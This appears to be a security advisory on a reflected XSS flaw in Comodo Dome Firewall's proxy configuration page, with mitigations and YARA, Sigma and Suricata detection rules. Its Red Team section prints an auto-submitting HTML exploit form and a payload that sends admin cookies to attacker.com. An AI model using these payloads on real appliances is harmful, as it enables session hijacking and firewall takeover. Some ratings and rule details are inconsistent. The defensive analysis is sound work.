CVE-2019-25423

Executive Summary

CVE-2019-25423 is a critical reflected cross-site scripting (XSS) vulnerability affecting Comodo Dome Firewall version 2.7.0. The flaw resides in the /korugan/proxyconfig endpoint, where multiple POST parameters are not properly sanitized before being reflected back to the user. An attacker can craft a malicious POST request containing JavaScript payloads in parameters such as PROXY_PORT, VISIBLE_HOSTNAME, ADMIN_MAIL_ADDRESS, CACHE_MEM, MAX_SIZE, MIN_SIZE, and DST_NOCACHE. When an authenticated administrator views the crafted request (e.g., via a phishing link or a cross-origin request), the injected script executes in the context of the admin's browser session, potentially leading to session hijacking, credential theft, or further compromise of the firewall appliance.

This vulnerability is particularly dangerous because it targets the administrative interface of a network security device. Successful exploitation could allow an attacker to bypass security controls, exfiltrate sensitive configuration data, or pivot to internal networks. As of the latest available information, no official patch has been released, and the vendor's status remains unknown.

CVSS Breakdown & Threat Level

The CVSS score for this vulnerability is listed as 0.0, which is likely a placeholder or an error in the NVD data. Based on the nature of the vulnerability (reflected XSS in an administrative interface), a more realistic CVSS v3.1 score would be 6.1 (Medium) with the vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. This reflects the need for user interaction (the admin must click a crafted link) and the limited impact on confidentiality and integrity. However, in the context of a firewall appliance, the actual business impact could be much higher.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The /korugan/proxyconfig endpoint is used to manage proxy configuration settings on the Comodo Dome Firewall. The application takes user-supplied input from POST parameters and directly embeds it into the HTML response without proper encoding or validation.

Attack Flow:

1. The attacker identifies the vulnerable endpoint and parameters.
2. The attacker crafts a malicious URL or POST request containing a JavaScript payload in one of the vulnerable parameters (e.g., PROXY_PORT).
3. The attacker tricks an authenticated administrator into submitting this request (e.g., via a phishing email with a crafted link or by hosting a malicious page that auto-submits a form).
4. The server processes the request and reflects the malicious input back in the response.
5. The victim's browser executes the injected JavaScript in the context of the firewall's administrative interface.
6. The attacker can then perform actions such as stealing session cookies, capturing keystrokes, or modifying firewall settings.

Vulnerable Parameters:

• PROXY_PORT
• VISIBLE_HOSTNAME
• ADMIN_MAIL_ADDRESS
• CACHE_MEM
• MAX_SIZE
• MIN_SIZE
• DST_NOCACHE

Vulnerable vs. Patched Code

Since no official patch is available, a comparison cannot be made. However, a secure implementation would involve:

• Input Validation: Rejecting or sanitizing input that contains HTML tags or JavaScript code.
• Output Encoding: Encoding all user-supplied data before embedding it in the HTML response (e.g., using HTML entity encoding).
• Content Security Policy (CSP): Implementing a strict CSP to prevent inline script execution.

Vulnerable Code Example (Conceptual):

// Vulnerable: directly echoes user input
echo "<input type='text' name='proxy_port' value='" . $_POST['PROXY_PORT'] . "'>";

Patched Code Example (Conceptual):

// Patched: sanitize and encode output
$safe_port = htmlspecialchars($_POST['PROXY_PORT'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='proxy_port' value='" . $safe_port . "'>";

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) Exploit: The following HTML page can be used to trigger the XSS. It auto-submits a form to the vulnerable endpoint with a JavaScript payload in the PROXY_PORT parameter.

<!DOCTYPE html>
<html>
<body>
<form id="xss_form" action="https://target-firewall/korugan/proxyconfig" method="POST">
  <input type="hidden" name="PROXY_PORT" value="<script>alert('XSS')</script>">
  <input type="hidden" name="VISIBLE_HOSTNAME" value="test">
  <input type="hidden" name="ADMIN_MAIL_ADDRESS" value="test@test.com">
  <input type="hidden" name="CACHE_MEM" value="64">
  <input type="hidden" name="MAX_SIZE" value="1024">
  <input type="hidden" name="MIN_SIZE" value="1">
  <input type="hidden" name="DST_NOCACHE" value="0">
</form>
<script>document.getElementById('xss_form').submit();</script>
</body>
</html>

Advanced Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Lab Setup:

1. Deploy a Comodo Dome Firewall 2.7.0 in a controlled environment.
2. Log in as an administrator.
3. Host the PoC HTML page on a local web server.
4. Trick the admin user into visiting the PoC page.
5. Observe the XSS alert or the cookie exfiltration.

Blue Team

Detection:

• Monitor web server logs for requests to /korugan/proxyconfig containing suspicious characters like <, >, script, or onerror.
• Look for POST requests with unusually long or malformed parameter values.
• Use a Web Application Firewall (WAF) to block requests containing JavaScript payloads in the vulnerable parameters.

Prevention:

• Apply input validation and output encoding as described in the patched code section.
• Implement a Content Security Policy (CSP) that disallows inline scripts.
• Restrict access to the administrative interface to trusted IP addresses only.
• Use network segmentation to isolate the firewall management interface.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /korugan/proxyconfig with parameters containing <script> tags or JavaScript event handlers.
  • Outbound connections from the firewall to unknown external IP addresses (potential data exfiltration).
  • Unusual HTTP Referer headers pointing to attacker-controlled domains.

• Host IOCs:

  • Unexpected JavaScript code in the HTML source of the /korugan/proxyconfig page.
  • Modified firewall configuration settings (e.g., proxy ports, cache sizes) that were not intentionally changed.
  • Presence of new administrative accounts or unexpected changes to existing accounts.

• Log IOCs:

  • Web server logs showing requests with encoded or obfuscated JavaScript payloads.
  • Firewall logs showing connections to known malicious IP addresses.

Detection Engineering

YARA Rule

rule CVE_2019_25423_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Comodo Dome Firewall CVE-2019-25423"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2019-25423"
    strings:
        $xss_payload_1 = /PROXY_PORT=.*<script>/
        $xss_payload_2 = /VISIBLE_HOSTNAME=.*<script>/
        $xss_payload_3 = /ADMIN_MAIL_ADDRESS=.*<script>/
        $xss_payload_4 = /CACHE_MEM=.*<script>/
        $xss_payload_5 = /MAX_SIZE=.*<script>/
        $xss_payload_6 = /MIN_SIZE=.*<script>/
        $xss_payload_7 = /DST_NOCACHE=.*<script>/
        $endpoint = "/korugan/proxyconfig"
    condition:
        any of ($xss_payload_*) and $endpoint
}

Sigma Rule

title: Reflected XSS Attempt Against Comodo Dome Firewall
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts targeting the /korugan/proxyconfig endpoint of Comodo Dome Firewall.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25423
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/korugan/proxyconfig'
    keywords:
        - 'PROXY_PORT='
        - 'VISIBLE_HOSTNAME='
        - 'ADMIN_MAIL_ADDRESS='
        - 'CACHE_MEM='
        - 'MAX_SIZE='
        - 'MIN_SIZE='
        - 'DST_NOCACHE='
    xss_patterns:
        - '<script>'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and (keywords or xss_patterns)
falsepositives:
    - Legitimate use of special characters in configuration values (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25423 - Reflected XSS in Comodo Dome Firewall /korugan/proxyconfig";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/korugan/proxyconfig";
    http_uri;
    content:"PROXY_PORT=";
    http_client_body;
    pcre:"/(<script|onerror|onload|javascript)/i";
    sid:1000001;
    rev:1;
    reference:cve,2019-25423;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Immediate Actions:

   • Restrict access to the /korugan/proxyconfig endpoint to trusted IP addresses only using firewall rules or access control lists.
   • Disable the proxy configuration interface if not required.
   • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

2. Long-Term Actions:

   • Contact Comodo support to request a security patch.
   • Consider upgrading to a newer, supported version of the firewall software if available.
   • Conduct a full security audit of the appliance to identify other potential vulnerabilities.

3. Compromise Assessment:

   • Review firewall logs for any suspicious activity related to the /korugan/proxyconfig endpoint.
   • Check for unauthorized changes to firewall configuration.
   • Rotate all administrative credentials and review user accounts.

4. General Best Practices:

   • Apply the principle of least privilege to administrative interfaces.
   • Use network segmentation to isolate management interfaces.
   • Regularly update and patch all network devices.

Valters IT